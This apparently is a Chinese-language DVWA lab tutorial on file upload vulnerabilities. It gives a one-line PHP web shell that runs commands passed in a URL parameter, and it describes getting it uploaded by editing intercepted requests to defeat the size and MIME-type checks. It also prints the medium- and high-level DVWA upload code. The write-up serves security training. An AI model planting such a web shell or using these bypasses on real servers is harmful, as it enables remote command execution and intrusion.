文件上传漏洞
<?phpecho shell_exec($_GET['cmd']);?> #通过cmd去执行命令
文章插图
- 将上方的代码通过文件上传的方式上传到服务器上,之后进行访问
文章插图
文章插图
- dvwa中对文件上传的内容是有过滤的,只允许100k大小的文件上传
文章插图
- 我们可以把截断功能打开
文章插图
- 然后再次上传一个超过大小的文件
文章插图
- 我们通过修改最大文件大小去绕过这个限制,即可看到上传成功
文章插图
文章插图
- 上面是低安全等级的,我们调到中等安全等级看下代码
File Upload Source<?phpif (isset($_POST['Upload'])) {$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";$target_path = $target_path . basename($_FILES['uploaded']['name']);$uploaded_name = $_FILES['uploaded']['name'];$uploaded_type = $_FILES['uploaded']['type'];$uploaded_size = $_FILES['uploaded']['size'];if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {echo '<pre>';echo 'Your image was not uploaded.';echo '</pre>';} else {echo '<pre>';echo $target_path . ' succesfully uploaded!';echo '</pre>';}}else{echo '<pre>Your image was not uploaded.</pre>';}}?>
从上面的代码我们能够看出来,他对文件进行了大小和类型的判断;
- 我们的思路就是用bp的截断功能去修改请求的参数,将1.php文件类型改为image/jpeg即可,这里不做详细演示了哈
文章插图
- 再来看下高安全级别的dvwa代码
File Upload Source<?phpif (isset($_POST['Upload'])) {$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";$target_path = $target_path . basename($_FILES['uploaded']['name']);$uploaded_name = $_FILES['uploaded']['name'];$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);$uploaded_size = $_FILES['uploaded']['size'];if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {echo '<pre>';echo 'Your image was not uploaded.';echo '</pre>';} else {echo '<pre>';echo $target_path . ' succesfully uploaded!';echo '</pre>';}}else{echo '<pre>';echo 'Your image was not uploaded.';echo '</pre>';}}?>
推荐阅读
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 一文解答web性能优化
- 用于高效 Web 开发的 10 个 Visual Studio 代码扩展
- 安卓手机如何打开.rar删除文件 安卓手机如何打开删除.mp4文件
- 安卓手机如何打开.pck文件 安卓手机如何打开.gpk文件
- jfif文件手机怎么打开 安卓手机如何打开.jfif文件
- 安卓手机如何打开.szbf文件 安卓手机如何打开.tgz文件
- Linux通过特殊关键字查询文件路径
- 子域名 Web渗透之域名收集方法
- HW中用到的23个常见Webshell网站管理工具
- 网络用语obj是什么意思